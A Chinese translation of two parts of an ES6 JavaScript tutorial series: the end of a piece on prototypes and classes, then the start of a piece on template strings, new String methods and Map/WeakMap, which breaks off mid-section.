换言之,我们就可以访问到对象上并不存在的属性,**只要其的原型上有这些属性**。我们可以利用这一点将属性和方法赋值到对象的原型上,然后我们就可以调用这些属性,好像它们真的存在在那个对象上一样。 更给力的是,如果几个对象共享相同的原型——正如上面的 `joe` 和 `sara` 的例子一样——当我们给原型赋值属性之后,它们就**都**可以访问了,**无需**将这些属性单独拷贝到每一个对象上。 这就是为何大家把它称作**原型继承**——如果我的对象没有,但对象的原型有,那我的对象也能**继承**这个属性。 事实上,这里并没有发生什么『继承』。在面向类的语言里,继承指从父类**复制**属性到子类的行为。在 JavaScript 里,没发生这种复制的操作,事实上这就是原型继承与类继承相比的一个主要优势。 在我们探究原型究竟是怎么来的之前,我们先做一个简要回顾: * `joe` 和 `sara` **没有**『继承』一个 `toString` 的属性; * `joe` 和 `sara` 实际上根本**没有**从 `Object.prototype` 上『继承』; * `joe` 和 `sara` 是**链接**到了 `Object.prototype` 上; * `joe` 和 `sara` 链接到了**同一个** `Object.prototype` 上。 * 如果想找到一个对象的(我们称它作**O**)原型,我们可以使用 `Object.getPrototypeof(O)`。 然后我们再强调一遍:对象没有『继承自』他们的原型。他们只是**委托**到原型上。 以上。 接下来让我们深♂入一下。 ## 设置对象的原型 我们已了解到基本上每个对象(下文以 **O** 指代)都有原型(下文以 **P** 指代),然后当我们查找 **O** 上没有的属性,JavaScript 引擎就会在 **P** 上寻找这个属性。 至此我们有两个问题: 1. 以上情况**函数**怎么玩? 2. 这些原型是从哪里来的? ### 名为 Object 的函数 在 JavaScript 引擎执行程序之前,它会创建一个环境让程序在内部执行,在执行环境中会创建一个函数,叫做 [Object](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object), 以及一个关联对象,叫做 [Object.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype)。 换句话说,`Object` 和 `Object.prototype` 在**任意**执行中的 JavaScript 程序中**永远**存在。 这个 `Object` 乍一看好像和其他函数没什么区别,但特别之处在于它是一个**构造器**——在调用它时返回一个新对象: "use strict"; typeof new Object(); // "object" typeof Object(); // 这个 Object 函数的特点是不需要使用 new 关键字调用 这个 `Object.prototype` **对象**是个……对象。正如其他对象一样,它有属性。 ![Object.prototype 上的属性](https://i.imgsafe.org/ebbd5e3.png) 关于 `Object` 和 `Object.prototype` 你需要知道以下几点: 1. `Object` **函数**有一个叫做 `.prototype` 的属性,指向一个对象(`Object.prototype`); 2. `Object.prototype` **对象**有一个叫做 `.constructor` 的属性,指向一个函数(`Object`)。 实际上,这个总体方案对于 JavaScript 中的**所有**函数都是适用的。当我们创建一个函数——下文称作 `someFunction`——这个函数就会有一个属性 `.prototype`,指向一个叫做 `someFunction.prototype` 的对象。 与之相反,`someFunction.prototype` 对象会有一个叫做 `.contructor` 的属性,它的引用指回函数 `someFunction`。 "use strict"; function foo () { console.log('Foo!'); } console.log(foo.prototype); // 指向一个叫 'foo' 的对象 console.log(foo.prototype.constructor); // 指向 'foo' 函数 foo.prototype.constructor(); // 输出 'Foo!' —— 仅为证明确实有 'foo.prototype.constructor' 这么个方法且指向原函数 需要记住以下几个要点: 1. 所有的函数都有一个属性,叫做 `.prototype`,它指向这个函数的关联对象。 2. 所有函数的原型都有一个属性,叫做 `.constructor`,它指向这个函数本身。 3. 一个函数原型的 `.constructor` 并非必须指向创建这个函数原型的函数……有点绕,我们等下会深入探讨一下。 设置**函数**的原型有一些规则,在开始之前,我们先概括设置对象原型的三个规则: 1. 『默认』规则; 2. 使用 `new` 隐式设置原型; 3. 使用 `Object.create` 显式设置原型。 ### 默认规则 考虑下这段代码: "use strict"; const foo = { status : 'foobar' }; 十分简单,我们做的事儿就是创建一个叫 `foo` 的对象,然后给他一个叫 `status` 的属性。 然后 JavaScript 在幕后多做了点工作。当我们在字面上创建一个对象时,JavaScript 将对象的原型指向 `Object.prototype` 并设置其原型的 `.constructor` 指向 `Object`: "use strict"; const foo = { status : 'foobar' }; Object.getPrototypeOf(foo) === Object.prototype; // true foo.constructor === Object; // true ### 使用 `new` 隐式设置原型 让我们再看下之前调整过的 `Food` 例子。 "use strict"; function Food (name, protein, carbs, fat) { this.name = name; this.protein = protein; this.carbs = carbs; this.fat = fat; } 现在我们知道**函数** `Food` 将会与一个叫做 `Food.prototype` 的**对象**关联。 当我们使用 `new` 关键字创建一个对象,JavaScript 将会: 1. 设置这个对象的原型指向我们使用 `new` 调用的函数的 `.prototype` 属性; 2. 设置这个对象的 `.constructor` 指向我们使用 `new` 调用到的构造函数。 ```js const tootsie_roll = new Food('Tootsie Roll', 0, 26, 0); Object.getPrototypeOf(tootsie_roll) === Food.prototype; // true tootsie_roll.constructor === Food; // true ``` 这就可以让我们搞出下面这样的黑魔法: "use strict"; Food.prototype.cook = function cook () { console.log(`${this.name} is cooking!`); }; const dinner = new Food('Lamb Chops', 52, 8, 32); dinner.cook(); // 'Lamb Chops are cooking!' ### 使用 `Object.create` 显式设置原型 最后我们可以使用 `Object.create` 方法手工设置对象的原型引用。 "use strict"; const foo = { speak () { console.log('Foo!'); } }; const bar = Object.create(foo); bar.speak(); // 'Foo!' Object.getPrototypeOf(bar) === foo; // true 还记得使用 `new` 调用函数的时候,JavaScript 在幕后干了哪四件事儿吗?`Object.create` 就干了这三件事儿: 1. 创建一个新对象; 2. 设置它的原型引用; 3. 返回这个新对象。 [你可以自己去看下 MDN 上写的那个 polyfill。](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create) (译者注:polyfill 就是给老代码实现现有新功能的补丁代码,这里就是指老版本 JS 没有 `Object.create` 函数,MDN 上有手工撸的一个替代方案) ### 模拟 `class` 行为 直接使用原型来模拟面向类的行为需要一些技巧。 "use strict"; function Food (name, protein, carbs, fat) { this.name = name; this.protein = protein; this.carbs = carbs; this.fat = fat; } Food.prototype.toString = function () { return `${this.name} | ${this.protein}g P :: ${this.carbs}g C :: ${this.fat}g F`; }; function FatFreeFood (name, protein, carbs) { Food.call(this, name, protein, carbs, 0); } // 设置 "subclass" 关系 // ===================== // LINE A :: 使用 Object.create 手动设置 FatFreeFood's 『父类』. FatFreeFood.prototype = Object.create(Food.prototype); // LINE B :: 手工重置 constructor 的引用 Object.defineProperty(FatFreeFood.constructor, "constructor", { enumerable : false, writeable : true, value : FatFreeFood }); 在 Line A,我们需要设置 `FatFreeFood.prototype` 使之等于一个新对象,这个新对象的原型引用是 `Food.prototype`。如果没这么搞,我们的子类就不能访问『超类』的方法。 不幸的是,这个导致了相当诡异的结果:`FatFreeFood.constructor` 是 [Function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function),而不是 `FatFreeFood`。为了保证一切正常,我们需要在 Line B 手工设置 `FatFreeFood.constructor`。 让开发者从使用原型对类行为笨拙的模仿中脱离苦海是 `class` 关键字的产生动机之一。它确实也提供了避免原型语法常见陷阱的解决方案。 现在我们已经探究了太多关于 JavaScript 的原型机制,你应该更容易理解 class 关键字让一切变得多么简单了吧! ## 深入探究下方法 现在我们已了解到 JavaScript 原型系统的必要性,我们将深入探究一下类支持的三种方法,以及一种特殊情况,以结束本文的讨论。 * 构造器; * 静态方法; * 原型方法; * 一种**原型方法**的特殊情况:『标记方法』。 并非我提出的这三组方法,这要归功于 Rauschmayer 博士在 [探索 ES6](http://exploringjs.com/es6/ch_classes.html) 一书中的定义。 ### 类构造器 一个类的 `constructor` 方法用于关注我们的初始化逻辑,`constructor` 方法有以下几个特殊点: 1. 只有在构造方法里,我们才可以调用父类的构造器; 2. 它在背后处理了所有设置原型链的工作; 3. 它被用作类的定义。 第二点就是在 JavaScript 中使用 `class` 的一个主要好处,我们来引用一下《探索 ES6》书里的 15.2.3.1 的标题: > **子类的原型就是超类** 正如我们所见,手工设置非常繁琐且容易出错。如果我们使用 `class` 关键字,JavaScript 在内部会负责搞定这些设置,这一点也是使用 `class` 的优势。 第三点有点意思。在 JavaScript 中类仅仅是个函数——它等同于与类中的 `constructor` 方法。 "use strict"; class Food { // 和之前一样的类定义…… } typeof Food; // 'function' 与一般把函数作为构造器的方式不同,我们不能不用 `new` 关键字而直接调用类构造器: `const burrito = Food('Heaven', 100, 100, 25); // 类型错误` 这就引发了另一个问题:当我们**不用** `new` 调用函数构造器的时候发生了什么? 简短的回答是:对于任何没有显式返回的函数来说都是返回 `undefined`。我们只需要相信用我们构造函数的用户都会使用构造调用。这就是社区为何约定构造方法的首字母大写:提醒使用者要用 `new` 来调用。 "use strict"; function Food (name, protein, carbs, fat) { this.name = name; this.protein = protein; this.carbs = carbs; this.fat = fat; } const fish = Food('Halibut', 26, 0, 2); // D'oh . . . console.log(fish); // 'undefined' 长一点的回答是:返回 `undefined`,除非你手工检测是否使用被 `new` 调用,然后进行自己的处理。 ES2015 引入了一个属性使得这种检测变得简单: `[new.target]`([https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new.target](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new.target)). `new.target` 是一个定义在所有使用 `new` 调用的函数上的属性,包括类构造器。 当我们使用 `new` 关键字调用函数时,函数体内的 `new.target` 的值就是这个函数本身。如果函数没有被 `new` 调用,这个值就是 `undefined`。 "use strict"; // 强行构造调用 function Food (name, protein, carbs, fat) { // 如果用户忘了手工调用一下 if (!new.target) return new Food(name, protein, carbs, fat); this.name = name; this.protein = protein; this.carbs = carbs; this.fat = fat; } const fish = Food('Halibut', 26, 0, 2); // 糟了,不过没关系! fish; // 'Food {name: "Halibut", protein: 20, carbs: 5, fat: 0}' 在 ES5 里用起来也还行: "use strict"; function Food (name, protein, carbs, fat) { if (!(this instanceof Food)) return new Food(name, protein, carbs, fat); this.name = name; this.protein = protein; this.carbs = carbs; this.fat = fat; } [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/new.target)讲述了 `new.target` 的更多细节,而且给有兴趣者[配上了 ES2015 规范作为参考](https://tc39.github.io/ecma262/#sec-built-in-function-objects)。规范里有关 [[Construct]] 的描述很有启发性。 ### 静态方法 **静态方法**是构造方法自己的方法,**不能**被类的实例化对象调用。我们使用 `static` 关键字定义静态方法。 "use strict"; class Food { // 和之前一样…… // 添加静态方法 static describe () { console.log('"Food" 是一种存储了营养信息的数据类型'); } } Food.describe(); // '"Food" 是一种存储了营养信息的数据类型' 静态方法与老式构造函数中直接属性赋值相似: "use strict"; function Food (name, protein, carbs, fat) { Food.count += 1; this.name = name; this.protein = protein; this.carbs = carbs; this.fat = fat; } Food.count = 0; Food.describe = function count () { console.log(`你创建了 ${Food.count} 个 food`); }; const dummy = new Food(); Food.describe(); // "你创建了 1 个 food" ### 原型方法 任何不是构造方法和静态方法的方法都是**原型方法**。之所以叫原型方法,是因为我们之前通过给构造函数的原型上附加方法的方式来实现这一功能。 "use strict"; // 使用 ES6: class Food { constructor (name, protein, carbs, fat) { this.name = name; this.protein = protein; this.carbs = carbs; this.fat = fat; } toString () { return `${this.name} | ${this.protein}g P :: ${this.carbs}g C :: ${this.fat}g F`; } print () { console.log( this.toString() ); } } // 在 ES5 里: function Food (name, protein, carbs, fat) { this.name = name; this.protein = protein; this.carbs = carbs; this.fat = fat; } // 『原型方法』的命名大概来自我们之前通过给构造函数的原型上附加方法的方式来实现这一功能。 Food.prototype.toString = function toString () { return `${this.name} | ${this.protein}g P :: ${this.carbs}g C :: ${this.fat}g F`; }; Food.prototype.print = function print () { console.log( this.toString() ); }; 应该说明,在方法定义时完全可以使用生成器。 "use strict"; class Range { constructor(from, to) { this.from = from; this.to = to; } * generate () { let counter = this.from, to = this.to; while (counter < to) { if (counter == to) return counter++; else yield counter++; } } } const range = new Range(0, 3); const gen = range.generate(); for (let val of range.generate()) { console.log(`Generator 的值是 ${ val }. `); // Prints: // Generator 的值是 0. // Generator 的值是 1. // Generator 的值是 2. } ### 标志方法 最后我们说说**标志方法**。这是一些名为 `Symbol` 值的方法,当我们在自定义对象中使用内置构造器时,JavaScript 引擎可以识别并使用这些方法。 [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol)提供了一个 Symbol 是什么的简要概览: > Symbol 是一个唯一且不变的数据类型,可以作为一个对象的属性标示符。 创建一个新的 symbol,会给我们提供一个被认为是程序里的唯一标识的值。这一点对于命名对象的属性十分有用:我们可以确保不会不小心覆盖任何属性。使用 Symbol 做键值也不是无数的,所以他们很大程度上对外界是不可见的(也不完全是,可以通过 [Reflect.ownKeys](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys) 获得) "use strict"; const secureObject = { // 这个键可以看作是唯一的 [new Symbol("name")] : 'Dr. Secure A. F.' }; console.log( Object.getKeys(superSecureObject) ); // [] -- 标志属性不太好获取 console.log( Reflect.ownKeys(secureObject) ); // [Symbol("name")] -- 但也不是完全隐藏的 对我们来讲更有意思的是,这给我们提供了一种方式来告诉 JavaScript 引擎使用特定方法来达到特定的目的。 所谓的『[众所周知的 Symbol](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol)』是一些特定对象的键,当你在定义对象中使用时他们时,JavaScript 引擎会触发一些特定方法。 这对于 JavaScript 来说有点怪异,我们还是看个例子吧: "use strict"; // 继承 Array 可以让我们直观的使用 'length' // 同时可以让我们访问到内置方法,如 // map、filter、reduce、push、pop 等 class FoodSet extends Array { // foods 把传递的任意参数收集为一个数组 // 参见:https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator constructor(...foods) { super(); this.foods = []; foods.forEach((food) => this.foods.push(food)) } // 自定义迭代器行为,请注意,这不是多么好用的迭代器,但是个不错的例子 // 键名前必须写星号 * [Symbol.iterator] () { let position = 0; while (position < this.foods.length) { if (position === this.foods.length) { return "Done!" } else { yield `${this.foods[ position++ ]} is the food item at position ${position}`; } } } // 当我们的用户使用内置的数组方法,返回一个数组类型对象 // 而不是 FoodSet 类型的。这使得我们的 FoodSet 可以被一些 // 期望操作数组的代码操作 static get [Symbol.species] () { return Array; } } const foodset = new FoodSet(new Food('Fish', 26, 0, 16), new Food('Hamburger', 26, 48, 24)); // 当我们使用 for ... of 操作 FoodSet 时,JavaScript 将会使用 // 我们之前用 [Symbol.iterator] 做键值的方法 for (let food of foodset) { // 打印全部 food console.log( food ); } // 当我们执行数组的 `filter` 方法时,JavaScript 创建并返回一个新对象 // 我们在什么对象上执行 `filter` 方法,新对象就使用这个对象作为默认构造器来创建 // 然而大部分代码都希望 filter 返回一个数组,于是我们通过重写 [Symbol.species] // 的方式告诉 JavaScript 使用数组的构造器 const healthy_foods = foodset.filter((food) => food.name !== 'Hamburger'); console.log( healthy_foods instanceof FoodSet ); // console.log( healthy_foods instanceof Array ); 当你使用 `for...of` 遍历一个对象时,JavaScript 将会尝试执行对象的**迭代器**方法,这一方法就是该对象 `Symbol.iterator` 属性上关联的方法。如果我们提供了自己的方法定义,JavaScript 就会使用我们自定义的。如果没有自己制定的话,如果有默认的实现就用默认的,没有的话就不执行。 `Symbo.species` 更奇异了。在自定义的类中,默认的 `Symbol.species` 函数就是类的构造函数。当我们的子类有内置的集合(例如 `Array` 和 `Set`)时,我们通常希望在使用父类的实例时也能使用子类。 通过方法返回父类的实例**而不是**派生类的实例,使我们更能确保我们子类在大多数代码里的可用性。而 `Symbol.species` 可以实现这一功能。 如果不怎么需要这个功能就别费力去搞了。Symbol 的这种用法——或者说有关 Symbol 的全部用法——都还比较罕见。这些例子只是为了演示: 1. 我们**可以**在自定义类中使用 JavaScript 内置的特定构造器; 2. 用两个普通的例子展示了怎么实现这一点。 ## 结论 ES2015 的 `class` 关键字**没有**带给我们 Java 里或是 SmallTalk 里那种『真正的类』。宁可说它只是提供了一种更加方便的语法来创建通过原型关联的对象,本质上没有什么新东西。 在我们的论述中我基本涵盖了 JavaScript 的原型机制,但还需要说一点:看一下 Kyle Simpson 的 [this 与对象原型](https://github.com/getify/You-Dont-Know-JS/tree/master/this%20%26%20object%20prototypes)一文可以对上面所述的进行一次全面的回顾,它的[附录 A](https://github.com/getify/You-Dont-Know-JS/blob/master/this%20&%20object%20prototypes/apA.md) 也与本文密切相关。 如果想了解 ES2015 类的有关细节,可以去看 Rauschmayer 博士的[探索 ES6:类](http://exploringjs.com/es6/ch_classes.html)。这正是我写本文的灵感来源。 最后如果你有什么问题,可以给我评论或者 [Twitter](https://twitter.com/PelekeS) 上艾特我。我会尽我所能回答每个人的问题。 你对 `class` 的感受是什么呢?喜欢、讨厌,还是毫无感觉?每个人都有自己的观点——在下面说出你的观点吧! ================================================ FILE: TODO/better-javascript-with-es6-pt-iii-cool-collections-slicker-strings.md ================================================ >* 原文链接 : [Better JavaScript with ES6, Pt. III: Cool Collections & Slicker Strings](https://scotch.io/tutorials/better-javascript-with-es6-pt-iii-cool-collections-slicker-strings) * 原文作者 : [Peleke](https://github.com/Peleke) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [godofchina](https://github.com/godofchina) * 校对者: [Jack-Kingdom](https://github.com/Jack-Kingdom), [malcolmyu](https://github.com/malcolmyu) # 使用 ES6 写更好的 JavaScript part III:好用的集合和反引号 ## 简介 ES2015 发生了一些重大变革,像 [promises](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise) 和 [generators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators). 但并非新标准的一切都高不可攀。 -- 相当一部分新特性可以快速上手。 在这篇文章里,我们来看下新特性带来的好处: * 新的集合: `map`,`weakmap`,`set`, `weakset` * 大部分的 [new `String` methods](https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla#Additions_to_the_String_object) * 模板字符串。 我们开始这个系列的最后一章吧。 _标注: 这是 the Better JavaScript 系列的第三章。 前两章在这儿:_ * [Better JavaScript with ES6, Part 1: Popular Features](http://gold.xitu.io/entry/5736e4f41532bc006545106e) * [Better JavaScript with ES6, Part 2: A Deep Dive into Classes](http://gold.xitu.io/entry/573969b91ea4930060f3e31a) ## 模板字符串 **模板字符串** 解决了三个痛点,允许你做如下操作: 1. 定义在字符串_内部的_表达式,称为 _字符串插值_。 2. 写多行字符串无须用换行符 (`\n`) 拼接。 3. 使用 "raw" 字符串 -- 在反斜杠内的字符串不会被转义,视为常量。 "use strict"; /* 三个模板字符串的例子: * 字符串插值,多行字符串,raw 字符串。 * ================================= */ // ================================== // 1\. 字符串插值 :: 解析任何一个字符串中的表达式。 console.log(`1 + 1 = ${1 + 1}`); // ================================== // 2\. 多行字符串 :: 这样写: let childe_roland = `I saw them and I knew them all. And yet Dauntless the slug-horn to my lips I set, And blew “Childe Roland to the Dark Tower came.”` // . . . 代替下面的写法: child_roland = 'I saw them and I knew them all. And yet\n' + 'Dauntless the slug-horn to my lips I set,\n' + 'And blew “Childe Roland to the Dark Tower came.”'; // ================================== // 3\. raw 字符串 :: 在字符串前加 raw 前缀,javascript 会忽略转义字符。 // 依然会解析包在 ${} 的表达式 const unescaped = String.raw`This ${string()} doesn't contain a newline!\n` function string () { return "string"; } console.log(unescaped); // 'This string doesn't contain a newline!\n' -- 注意 \n 会被原样输出 // 你可以像 React 使用 JSX 一样,用模板字符串创建 HTML 模板 const template = `

    Example

    I'm a pure JS & HTML template!

    ` function getClass () { // Check application state, calculate a class based on that state return "some-stateful-class"; } console.log(template); // 这样使用略显笨,自己试试吧! // 另一个常用的例子是打印变量名: const user = { name : 'Joe' }; console.log("User's name is " + user.name + "."); // 有点冗长 console.log(`User's name is ${user.name}.`); // 这样稍好一些 1. 使用字符串插值,用反引号代替引号包裹字符串,并把我们想要的表达式嵌入在${}中。 2. 对于多行字符串,只需要把你要写的字符串包裹在反引号里,在要换行的地方直接换行。 JavaScript 会在换行处插入新行。 3. 使用原生字符串,在模板字符串前加前缀`String.raw`,仍然使用反引号包裹字符串。 模板字符串或许只不过是一种语法糖 . . . 但它比语法糖略胜一筹。 ## 新的字符串方法 ES2015 也给 `String` 新增了一些方法。他们主要归为两类: 1. 通用的便捷方法 2. 扩充 Unicode 支持的方法。 在本文里我们只讲第一类,同时 unicode 特定方法也有相当好的用例 。如果你感兴趣的话,这是地址 [在 MDN 的文档里,有一个关于字符串新方法的完整列表](https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla#Additions_to_the_String_object)。 ## startsWith & endsWith 对新手而言,我们有 [String.prototype.startsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith)。 它对任何字符串都有效,它需要两个参数: 1. 一个是 _search string_ 还有 2. 整形的位置参数 _n_。这是可选的。 `String.prototype.startsWith` 方法会检查以 _nth_ 位起的字符串是否以 _search string_ 开始。如果没有位置参数,则默认从头开始。 如果字符串以要搜索的字符串开头返回 `true`,否则返回 `false`。 "use strict"; const contrived_example = "This is one impressively contrived example!"; // 这个字符串是以 "This is one" 开头吗? console.log(contrived_example.startsWith("This is one")); // true // 这个字符串的第四个字符以 "is" 开头? console.log(contrived_example.startsWith("is", 4)); // false // 这个字符串的第五个字符以 "is" 开始? console.log(contrived_example.startsWith("is", 5)); // true ## endsWith [String.prototype.endsWith](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith) 和startswith相似: 它也需要两个参数:一个是要搜索的字符串,一个是位置。 然而 `String.prototype.endsWith` 位置参数会告诉函数要搜索的字符串在原始字符串中被当做结尾处理。 换句话说,它会切掉 _nth_ 后的所有字符串,并检查是否以要搜索的字符结尾。 "use strict"; const contrived_example = "This is one impressively contrived example!"; console.log(contrived_example.endsWith("contrived example!")); // true console.log(contrived_example.slice(0, 11)); // "This is one" console.log(contrived_example.endsWith("one", 11)); // true // 通常情况下,传一个位置参数向下面这样: function substringEndsWith (string, search_string, position) { // Chop off the end of the string const substring = string.slice(0, position); // 检查被截取的字符串是否已 search_string 结尾 return substring.endsWith(search_string); } ## includes ES2015 也添加了 [String.prototype.includes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/includes)。 你需要用字符串调用它,并且要传递一个搜索项。如果字符串包含搜索项会返回 `true`,反之返回 `false`。 "use strict"; const contrived_example = "This is one impressively contrived example!"; // 这个字符串是否包含单词 impressively ? contrived_example.includes("impressively"); // true ES2015之前,我们只能这样: "use strict"; contrived_example.indexOf("impressively") !== -1 // true 不算太坏。但是,`String.prototype.includes` _是_ 一个改善,它屏蔽了任意整数返回值为 true 的漏洞。 ## repeat 还有 [String.prototype.repeat](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/repeat)。可以对任意字符串使用,像 `includes` 一样,它会或多或少地完成函数名指示的工作。 它只需要一个参数: 一个整型的 _count_。使用案例说明一切,上代码: const na = "na"; console.log(na.repeat(5) + ", Batman!"); // 'nanananana, Batman!' ## raw 最后,我们有 [String.raw](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/raw),我们在上面简单介绍过。 一个模板字符串以 `String.raw` 为前缀,它将不会在字符串中转义: /* 单右斜线要转义,我们需要双右斜线才能打印一个右斜线,\n 在普通字符串里会被解析为换行 * */ console.log('This string \\ has fewer \\ backslashes \\ and \n breaks the line.'); // 不想这样写的话用 raw 字符串 String.raw`This string \\ has too many \\ backslashes \\ and \n doesn't break the line.` ## Unicode 方法 虽然我们不涉及剩余的 string 方法,但是如果我不告诉你去这个主题的必读部分就会显得我疏忽。 * Dr Rauschmayer 对于 [Unicode in JavaScript](http://speakingjs.com/es5/ch24.html) 的介绍 * 他关于 [ES2015's Unicode Support in Exploring ES6](http://exploringjs.com/es6/ch_unicode.html#sec_escape-sequences) 和 * [The Absolute Minimum Every Software Developer Needs to Know About Unicode](http://www.joelonsoftware.com/articles/Unicode.html) 的讨论。 无论如何我不得不跳过它的最后一部分。虽然有些老但是还是有优点的。 这里是文档中缺失的字符串方法,这样你会知道缺哪些东西了。 * [String.fromCodePoint](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/fromCodePoint) & [String.prototype.codePointAt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/codePointAt); * [String.prototype.normalize](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/normalize); 和 * [Unicode point escapes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Unicode_code_point_escapes). ## 集合 ES2015 新增了一些集合类型: 1. [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) 和 [WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap) 2. [Set](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) 和 [WeakSet](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet)。 合适的 Map 和 Set 类型十分方便使用,还有弱变量是一个令人兴奋的改动,虽然它对Javascript来说像舶来品一样。 ## Map _map_ 就是简单的键值对。最简单的理解方式就是和 object 类似,一个键对应一个值。 "use strict"; // 我们可以把 foo 当键,bar 当值 const obj = { foo : 'bar' }; // 对象键为 foo 的值为 bar obj.foo === 'bar'; // true 新的 Map 类型在概念上是相似的,但是可以使用任意的数据类型作为键 -- 不止 strings 和 symbols -- 还有除了 [pitfalls associated with trying to use an objects a map](http://www.2ality.com/2012/01/objects-as-maps.html) 的一些东西。 下面的片段例举了 Map 的 API. "use strict"; // 构造器 let scotch_inventory = new Map(); // BASIC API METHODS // Map.prototype.set (K, V) :: 创建一个键 K,并设置它的值为 V。 scotch_inventory.set('Lagavulin 18', 2); scotch_inventory.set('The Dalmore', 1); // 你可以创建一个 map 里面包含一个有两个元素的数组 scotch_inventory = new Map([['Lagavulin 18', 2], ['The Dalmore', 1]]); // 所有的 map 都有 size 属性,这个属性会告诉你 map 里有多少个键值对。 // 用 Map 或 Set 的时候,一定要使用 size ,不能使用 length console.log(scotch_inventory.size); // 2 // Map.prototype.get(K) :: 返回键相关的值。如果键不存在返回 undefined console.log(scotch_inventory.get('The Dalmore')); // 1 console.log(scotch_inventory.get('Glenfiddich 18')); // undefined // Map.prototype.has(K) :: 如果 map 里包含键 K 返回true,否则返回 false console.log(scotch_inventory.has('The Dalmore')); // true console.log(scotch_inventory.has('Glenfiddich 18')); // false // Map.prototype.delete(K) :: 从 map 里删除键 K。成功返回true,不存在返回 false console.log(scotch_inventory.delete('The Dalmore')); // true -- breaks my heart // Map.prototype.clear() :: 清楚 map 中的所有键值对 scotch_inventory.clear(); console.log( scotch_inventory ); // Map {} -- long night // 遍历方法 // Map 提供了多种方法遍历键值。 // 重置值,继续探索 scotch_inventory.set('Lagavulin 18', 1); scotch_inventory.set('Glenfiddich 18', 1); /* Map.prototype.forEach(callback[, thisArg]) :: 对 map 里的每个键值对执行一个回调函数 * 你可以在回调函数内部设置 'this' 的值,通过传递一个 thisArg 参数,那是可选的而且没有太大必要那样做 * 最后,注意回调函数已经被传了键和值 */ scotch_inventory.forEach(function (quantity, scotch) { console.log(`Excuse me while I sip this ${scotch}.`); }); // Map.prototype.keys() :: 返回一个 map 中的所有键 const scotch_names = scotch_inventory.keys(); for (let name of scotch_names) { console.log(`We've got ${name} in the cellar.`); } // Map.prototype.values() :: 返回 map 中的所有值 const quantities = scotch_inventory.values(); for (let quantity of quantities) { console.log(`I just drank ${quantity} of . . . Uh . . . I forget`); } // Map.prototype.entries() :: 返回 map 的所有键值对,提供一个包含两个元素的数组 // 以后会经常看到 map 里的键值对和 "entries" 关联 const entries = scotch_inventory.entries(); for (let entry of entries) { console.log(`I remember! I drank ${entry[1]} bottle of ${entry[0]}!`); } 但是 Object 在保存键值对的时候仍然有用。 如果符合下面的全部条件,你可能还是想用 Object: 1. 当你写代码的时候,你知道你的键值对。 2. 你知道你可能不会去增加或删除你的键值对。 3. 你使用的键全都是 string 或 symbol。 另一方面,如果符合以下_任意_条件,你可能会想使用一个 map。 1. 你需要遍历整个map -- 然而这对 object 来说是难以置信的. 2. 当你写代码的时候不需要知道键的名字或数量。 3. 你需要复杂的键,像 Object 或 别的 Map (!). 像遍历一个 map 一样遍历一个 object 是可行的,但奇妙的是 -- 还会有一些坑潜伏在暗处。 Map 更容易使用,并且增加了一些可集成的优势。然而 object 是以随机顺序遍历的,**map 是以插入的顺序遍历的**。 添加随意动态键名的键值对给一个 object 是_可行的_。但奇妙的是: 比如说如果你曾经遍历过一个伪 map ,你需要记住手动更新条目数。 最后一条,如果你要设置的键名不是 string 或 symbol,你除了选择 Map 别无选择。 上面的这些只是一些指导性的意见,并不是最好的规则。 ## WeakMap 你可能听说过一个特别棒的特性 [垃圾回收器](https://en.wikipedia.org/wiki/Garbage_collection_(computer_science)),它会定期地检查不再使用的对象并清除。 [To quote Dr Rauschmayer](http://www.2ality.com/2015/01/es6-maps-sets.html): > WeakMap 不会阻止它的键值被垃圾回收。那意味着你可以把数据和对象关联起来不用担心内存泄漏。 换句换说,就是你的程序丢掉了 WeakMap _键_ 的所有外部引用,他能自动垃圾回收他们的值。 尽管大大简化了用例,考虑到 SPA(单页面应用) 就是用来展示用户希望展示的东西,像一些物品描述和一张图片,我们可以理解为 API 返回的 JSON。 理论上来说我们可以通过缓存响应结果来减少请求服务器的次数。我们可以这样用 Map : "use strict"; const cache = new Map(); function put (element, result) { cache.set(element, result); } function retrieve (element) { return cache.get(element); } . . . 这是行得通的,但是有内存泄漏的危险。 因为这是一个 SPA,用户或许想离开这个视图,这样的话我们的 "视图" object 就会失效,会被垃圾回收。 不幸的是,如果你使用的是正常的 Map ,当这些 object 不使用时,你必须自行清除。 